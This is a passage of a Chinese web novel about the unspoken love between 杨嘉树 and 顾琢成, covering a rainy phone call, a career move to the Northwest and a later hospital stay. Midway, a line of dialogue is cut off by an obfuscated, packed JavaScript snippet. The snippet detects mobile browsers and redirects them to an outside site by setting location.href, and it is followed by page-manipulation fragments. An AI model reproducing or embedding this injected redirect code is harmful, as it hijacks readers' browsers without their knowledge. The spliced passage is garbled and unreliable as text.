不愿意欺骗自己,可杨嘉树或许从一开始就知道自己不会把这束花送出去,即使他排除万难,去到顾琢成家门口,在开门的前一秒,他也会把那束花扔出去—— 因为他承受不住失去顾琢成的后果。 只要他想到,就会恐惧地浑身颤抖,他的生命中,能失去的差不多都已经失去了,只剩下顾琢成……是绝对不可以失去的。所以哪怕是这样做朋友也好,只要他们还在一起,还能像以前一样亲密无间,就好。他不会再奢求更多的。 杨嘉树站起来,往正确的、顾琢成家的方向走去。 雨越下越大,把杨嘉树全身都淋湿了,他感觉自己好像变成了一颗会移动的树,水从他的头顶浇下来,贴着树干往下,一路流进他扎根的土壤里。脚下越来越重,他像是拖着千军万马在往前走。 眼前一片模糊,夜幕中,那些红色的、黄色的、五颜六色的灯被雨水和泪水溶解成一片看不清形状的光影,杨嘉树又感觉自己变成了一艘船,双手变成两只船桨,只有用力前后摆动才可以让身体往前移动—— 他感觉自己的心好像碎掉了,疼得他无法呼吸。 不知道走了多久,手机响了,杨嘉树擦擦眼泪,看到来电显示是:顾琢成。 这个名字像是某种催化剂,使他的心疼又加剧了一些。他走到前面的公交站底下,擦干净自己的脸,然后把湿掉的头发往后拢,调整呼吸,给顾琢成回过去。 “喂?嘉树,你到了吗。” 熟悉的声音,像铁锥一样敲在杨嘉树的心房上,“……顾琢成,不好意思啊,刚刚领导临时通知加班,我现在得赶回台里,不能去你家了。” 顾琢成停顿了一会儿,明显让这个消息打得有些猝不及防:“这么突然吗?” 这好像失望一样的语气瞬间让杨嘉树憋住的眼泪喷涌而出,鼻子堵住了,他捂住听筒,用湿透的衣袖把满脸的眼泪、鼻涕擦干,假装若无其事地说:“对啊。我也没办法,我问领导能不能请假,领导说不能,否则就让我明天也不要去了。” “哦。”顾琢成说,“你感冒了?” “嗯,最近不是在降温嘛,可能衣服穿少了,就感冒了。” “……多穿点,最近降温了。” “知道了。那……”杨嘉树轻轻地说,“我们改天再约。” “……” “挂了。” “等等。”顾琢成叫住他,“嘉树,我有件事想跟你说。” “什么事?”杨嘉树说,但是他很快想到那张照片,那张让顾琢成看起来很幸福的照片,美人在侧、事业有成……担心听到什么让他心碎的消息,所以杨嘉树先发制人,决定由自己宣布这个“噩耗”,“不会是你跟那个什么程雨薇……还是杜雨薇,在一起了吧。” “……” 沉默。沉默是什么意思?默认吗?杨嘉树揪住自己的衣领,心痛到极致,已经开始出现麻痹的迹象,挺好的,他想,那就达到爱的最高境界好了,祝他幸福,然后放手。 “真的啊?”杨嘉树体内的“最佳好友”程序又开始自动运行,他感觉自己没有开口,却又实实在在地听见了自己的声音,“恭喜你啊——可是你就这么猝不及防地脱单了,有没有考虑过我的感受啊。” “……” “怎么不说话?”杨嘉树晃晃手机,苦恼地说,“顾琢成,你家是不是网络不好啊,怎么老是卡顿。” “我没跟她在一起,她有男朋友。”终于,顾琢成说。 “……哦。”杨嘉树木然地想,这次没有在一起,不代表下次不会;这一个红颜错过,不代表新的红颜不会出现,迟早的事,顾琢成不会永远属于他,杨嘉树终于明白这一点了,“那挺遗憾的,你俩看上去挺般配……别气馁啊,你会遇到更合适的。” “——你在外面?”顾琢成听到电话那头噼里啪啦的雨声。 “嗯。”杨嘉树说,“同事开车来接我,我在小区门口等他。” “哦。” 挂吧。快挂电话吧,要坚持不住了。杨嘉树在心里默数三声,然后深吸一口气,中气十足地说:“我不跟你说了,我同事来了!今天对不起啊,爽约了,改天我请你吃饭!” “好。” 挂了。 杨嘉树垂着头,滴滴答答,世界在下雨,他也在下雨。 身上湿透了,他站立的地方形成一片小水洼——在这一瞬间,他怀疑自己真的变成了一棵树,一棵因为摄入水分过多而溺死的树。 啪嗒。 冰凉的雨水中间,混进一颗滚烫的泪。杨嘉树抬起头,走进滂沱的大雨中,心想—— 那就让我溺死好了。 三天后,杨嘉树找到领导,申请加入隔壁科教频道今年的公益项目——《发现·壮美西北》大型系列纪录片。领导对于他的这个决定非常吃惊,劝他再好好想想,但杨嘉树表示自己已经想清楚了,实际上,他早就想转行做编导,只是苦于没有机会——现在机会来了,杨嘉树拍着胸脯恳求领导:“我有信心能做好,请您——务必给我这个机会!” 领导叹了口气,确认:“你真的想好了?” 杨嘉树坚定道:“是的,我想好了。” “那我试试,刚好制片人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586882|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我大学同学……不一定能把你塞进去,别抱太大希望啊。” 说是这么说,但结果几乎已经可以确定——领导是个好领导,不会让杨嘉树失望的。 走的那天,杨嘉树在办公室收拾自己的东西,在这个小小的座位上,他留下许多美好的回忆,当初那些“痛苦”——因为工作而产生的痛苦,现在看竟然是甘美的。所以说,熬到一切都结束,等回头看的时候,痛苦也会变成幸福——成长、蜕变的幸福。 在抽屉深处,杨嘉树发现一个笔记本,那上面记载了很多,他的青春,他的甜而苦的心事,他不能宣之于口的秘密……杨嘉树翻开第一页,是熟悉,但稍显幼稚的笔迹:“今天是正式入职的第一天!单位发的笔记本,好厚啊,感觉写一年都写不完。那我先写下第一句话吧,杨嘉树,加油噢!你一定会成为一个很了不起的记者的~~” 杨嘉树的眼前浮现一个画面:当时他第一天入职,师父领着他来到工位,给他发了记者的全套装备、工作牌、一盒签字笔,一只笔记本,当时的他刚毕业,对未来充满了美好的期盼——而他彼时关于人生的全部设想,都有顾琢成的存在。 他记得他写完这段文字后,立马给顾琢成拍了照片,他说:“顾琢成,我们俩以后一定要成为特别优秀的人!希望十年后、三十年后,我们还能在一起!要做一辈子的好朋友哦!” 当时顾琢成是这怎么回的?他说:“一定会的。” 杨嘉树翻开第二页、第三页……每一行文字背后,都有一小段鲜活的记忆: “耶!今天约到第一个采访啦!是自己约的,没借助任何人的帮助!” “真倒霉,带了摄影机,没带电池!杨嘉树,你怎么能犯这种错误!” “今天写的稿子被师父夸了,嘿嘿,原来这是我的优点啊!” “师父说我是个笔杆子,写的东西特别有灵魂,(笑脸符号)虽然快成写稿子专业户了,但是还是好开心!” “不想写了,好累!感觉师父一开始的夸奖根本就是陷阱!” “囧,今天入境的时候衣领没整理好,是歪的┭┮﹏┭┮摄像老师竟然不提醒我!看新闻的时候才发现,好丢人。” …… 后来,这个笔记本因为太过沉重、不便携带而渐渐被杨嘉树放弃,塞进抽屉深处。 很久很久以后,它又被拿了出来,杨嘉树记得特别清楚,那天他加班到很晚,结束后给顾琢成打电话,约他周末出来吃饭,顾琢成拒绝了,理由是:“加班。”当时他们已经快两个月没有见面,杨嘉树想顾琢成想到什么地步——做梦都会不停地梦见他。 挂完电话,杨嘉树忽然觉得特别委屈,眼泪几乎在一瞬间喷涌而出,那是他不知道第多少次怀疑要和顾琢成的友情走向破裂——他哭了很久,压抑的情绪无法宣泄,于是选择把这件事写在笔记本上,写给自己看,他写道: 我有一个很喜欢、很喜欢的人。 我爱他。 我从很久以前就爱他——只是我好懦弱,不够勇敢。 我爱他,只敢以朋友的身份。 每一句先发出的问候,是一句“我爱你”。 每一次看似无心的邀约,是一句“我爱你” 对你微笑是我爱你。 收回碰触的手也是我爱你。 我爱你、我爱你、我爱你……重复一千遍。 我想告诉他,我不想再和他做朋友,我早就厌倦了和他做朋友。 我想亲吻他、拥抱他、占有他——以爱慕者的身份。 我爱的这个人,他叫——顾…… “啪嗒”。一滴眼泪落下,晕开纸上的字迹。 杨嘉树是这样的人,他一直都是这样的人,他最会欺骗自己。 他在纸上写了一个不相干的名字。 我爱的这个人,他叫——顾——一——帆。 “噗嗤”一声。杨嘉树笑了,眼泪喷溅而出,或许还有鼻涕,他顾不上在乎了,他在心中唾弃自己。 笑了一会儿,他趴在桌子上,嚎啕大哭。 很久、很久以后,哭到眼睛再也无法产生泪水,杨嘉树终于抬起头,擦干脸上的泪痕,小心地、珍而重之地合上笔记本,将它塞回抽屉深处。 这份记忆太过沉重,而他早已经选择放弃—— 他把它放在记忆的最深处。 然后对自己说: 再见,杨嘉树。 再见,顾琢成。 40.第 40 章 两年零七个月,这是杨嘉树和顾琢成分开的具体时间。 ——也是他们认识以来,分别时间最久的一次。 对顾琢成来说,杨嘉树决定去西北的消息非常突然,他只是在某天下班的时候给顾琢成打电话,寒暄了几句,然后突然说:“我要出个长差。”就消失了。 杨嘉树是个记者,对记者来说,出差是常事,短则两三天,长则一两个月,最长——不会超过三个月。因此顾琢成没有放在心上,和以往每一次一样,他问杨嘉树:“去多久?” 杨嘉树说:“不清楚,最少两年吧。” “什么?”顾琢成在开车,这个回答打了他一个措手不及,就像是晴空里的一道霹雳、把他整个人都劈傻了,“你说多久?” “两年。”杨嘉树说,语气很平静,心也平静,“工作调整,我要去做纪录片了。” 顾琢成没有说话。他觉得自己需要时间接受——这个噩耗。 过了好久,他才终于找回自己的声音:“去哪里?为什么这么突然呢。” “去西北。”杨嘉树笑笑,说,“不突然啊,有时候世事就是这么……难以预料。” “你不当记者了吗?” “嗯。” “……什么时候出发?” “下周。” “下周?”顾琢成的声音猛地拔高了,他不敢相信,乃至于有点生气,“你——这太突然了!为什么不早点跟我说?” “我也是才接到的消息。” 沉默。 过了很久,顾琢成叹一口气,依然不能接受这个事实:“已经决定好,不能再改变?” “不能。”杨嘉树斩钉截铁。 “你能适应西北的天气吗?那里很干燥,温差大,紫外线强,你……你能习惯吗?” “能。” “……是常驻吗?” “是。” “有休假吗?可以回北京?” “可能有……”杨嘉树说,有点犹豫,“吧,这个我还没有了解过。” “……不能不去吗?”顾琢成仍不死心。 “不能。”杨嘉树很轻地笑了一声,“档案都调过去了。” “……” “……” 杨嘉树用力握紧手机,在心里告诫自己:杨嘉树,你已经答应过自己,不可以做言而无信的人。 “你……” “我……” 两个人同时开口,这一次顾琢成没有做谦让的那个人,直接说:“你现在有空吗?我过去找你。” 杨嘉树拒绝了:“我一会儿还要开会,走不开。” “开完会呢?” “更走不开啊,栏目停播,并不是什么事都没有了,还有一堆烂摊子要收拾呢。” “……” 电话那头,顾琢成很深、很长地叹了口气,“杨嘉树。”他叫杨嘉树的全名,语气严肃,“这么大的事,你为什么不跟我商量?自己就做了决定。我不清楚你要做什么纪录片,但是去西北……西北的风沙那么大,环境那么恶劣,你一个城市娇生惯养的孩子,能吃得了这个苦吗?” “……”杨嘉树冷笑一声,反问,“你凭什么认为我吃不了这个苦?你是谁啊,你以为你很解我吗,这是我自己的选择,我自然会承担选择的后果,不需要你为我操心。” “……”顾琢成意识到自己说话的语气太强硬,抱歉道,“对不起,我太着急了,有点口不择言。我的意思是,既然栏目组解散,你是不是可以有个更轻松的选择?西北太艰苦了,又遥远,你一个人,我担心你不能照顾自己。” “你少来了。”杨嘉树握紧手机,心里第一反应是生气——他气顾琢成这么关心自己,又气自己竟然因为这关心又心生退意,他想留在北京,留在顾琢成身边——不,不能,连想一想都不可以。 杨嘉树疯狂地吞咽口水,把喉口涌出的酸苦咽下去,接着不由自主地,他开始说出一些伤害顾琢成的话:“我不需要你的担心,你还是担心担心你自己吧——你真的了解我吗?我想去西北,是因为想所以才决定去,说明我已经做好了应对一些困难的准备,你就这么不相信我吗?” 顾琢成怔了怔,他认为杨嘉树误会自己了,于是辩解:“我不是这个意思,我只是……”他停住,然后认真地说,“真的很担心你。” 一瞬间,杨嘉树的心揪了起来,泪水快速在眼眶中聚集。他张大嘴巴,像金鱼一样,用力、但无声地喘了一口气,冷漠地说:“谢谢。我已经决定好了,并且很期待接下来的行程,你的担心是多余的。” “……”顾琢成说,语气很困惑,“嘉树,你怎么了?是最近压力太大了吗,还是我哪里惹你生气了,你可以直接跟我说——” “你想多了。”杨嘉树说,他忽然觉得无法面对顾琢成,他急切地想要挂断电话,从这场漫长的凌迟中解脱,于是他说,“我还有事,先挂了。” 脸颊痒痒的,杨嘉树伸手挠了挠,摸到满脸的泪水。 真好。 他想,这是最后一次为你哭了哦。 希望下次见面,我们能以好朋友的身份—— 真正的、一辈子的好朋友。 ——时空分割线—— 凌晨三点,杨嘉树被一阵呕吐声惊醒,是隔床刚做完骨瘤手术的老大哥,他趴在床头,吐了很久,病房里飘荡着一股浓重的酸腐味,杨嘉树屏着呼吸坐起来,问:“大哥,需要帮忙吗?” 刚说完,医生就来了,检查没有大碍,只是让大叔三餐按时吃,保持好足够的休息,就走了。 杨嘉树的护工站在老大哥床头,数落道:“都说了让你早点吃饭,你赶到睡前吃,吃完就睡,你不吐谁吐嘛。” 老大哥讪讪的,摸了摸自己的鼻子:“不好意思啊,我现在就来打扫。” “别别,你还是好好休息吧!”护工大叔忙前忙后地给他收拾了起来。 白天,杨嘉树悄悄跟护工大叔说:“你人还怪好的,拿一份工钱,干两份活……不累啊?” 护工大叔说:“顺手的事嘛!主要是你好伺候,不叫俺操心,不然俺光拿钱不干活,心里也不踏实。” 杨嘉树说:“你一个月多少钱啊?”钱不是他付的,应该是小刘付的,所以他不清楚具体行情。 “一千五。” “这么便宜?”杨嘉树瞠目。 “不便宜啦!包吃又包住,还有水果吃。嘿嘿。”大叔笑得很憨厚,“小兄弟,我给你剥个橘子吃吧?” “嗯。” 吃完橘子,杨嘉树睡了个回笼觉。醒来的时候发现护工大叔在收拾东西,他觉得很奇怪,问道:“你干什么呢,大叔?” 大叔说,眉开眼笑的:“你醒啦?来来来,我背你上去,新房间我都收拾好了,里面可宽敞了!有单独的陪护床,这样晚上俺也能睡个好觉了,白天好好伺候你,嘿嘿。” “什么新房间?”杨嘉树不解。 “啊?”大叔挠挠头,比他更不解,“你不知道啊?就是你那个北京来的朋友,他给你升级到单人病房啦,早上让我去交的费,嗐,我以为你知道呢!” 杨嘉树愣住了。 大叔把打包好的东西放在床头柜上,眼巴巴地瞧着他:“现在上去不?” “……行吧。”钱都交了,又不能退。杨嘉树很无奈,“他怎么跟你说的啊?” “他就问俺医院有没有单人病房,俺说有,但是很紧俏,得提前订,”大叔是个老实人,一五一十地 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大叔一走,房间就更显得宽敞,和寂寥。杨嘉树躺在床上,摩挲着手机,心里十分纠结,要不要给他打个电话?说句谢谢也好——他怎么就这么多情呢,也不问问我需不需要,就这么自作主张给我升级了病房。住三人间单位还能给报销——算了,反正他现在不差钱。杨嘉树在心里乱想了一通,电话没拨出去,他想的那个人自己打过来了。 杨嘉树看到这个名字,心里一跳,没多想就接了起来:“喂?” “嘉树。”顾琢成的声音听起来沙沙的,带着轻微的电流,显得有点不太真切,“你好点了吗?换到新病房去了吗。” “嗯……”杨嘉树盯着自己腿上厚厚的石膏,想说的有很多,但最终化作三个字,“谢谢啊。” “不客气。” “……” “你吃饭了吗?” “还没。”杨嘉树说,又补充,“大叔去给我打了。” “这个大叔人挺好的,勤快,认真,还很负责。” “嗯。” 好像跨越了两年多的时光,两人之间因此显得生疏了似的,彼此都不再说话。 也许是不知道该说什么。 奇怪,杨嘉树心想,前两天见面时不还好好的么。 “你一个人会无聊吗?”过了一会儿,顾琢成说。 “还行吧,我还要工作呢,所以还好。” “你都受伤了还要工作。”顾琢成停了停,说,“好敬业啊。” 杨嘉树有点想笑,这是没话找话,没什么说的就硬夸吗?真是可爱。他清了清嗓子,问:“你呢?工作不忙吗。” “我还好。我现在就在办公室给你打电话。” “摸鱼啊?” “也不算,现在是下班时间。” “吃饭了吗?” “吃过了。” “哦。” 该挂了吗?杨嘉树心想,好像没什么好说的了。 “你要是无聊,可以给我发消息,打电话也可以。”顾琢成说,“我随时都有时间。” “……”杨嘉树让他搞得有点懵,没记错的话,他们好像都三十多岁了吧,怎么对话内容还跟十几二十岁的青少年似的——而且,其中一个还是未来的上市公司总裁。 “怎么不说话?” “没什么。我在想找你聊天的话,该说些什么。” “说什么都可以啊,”顾琢成顿了顿,说,“就跟以前一样。” ——以前我们无话不谈,杨嘉树猜他想说这句话。心里忽然变得很柔软,杨嘉树弯了弯嘴角,说:“好啊,我找你的时候,你不要嫌我烦就好了。”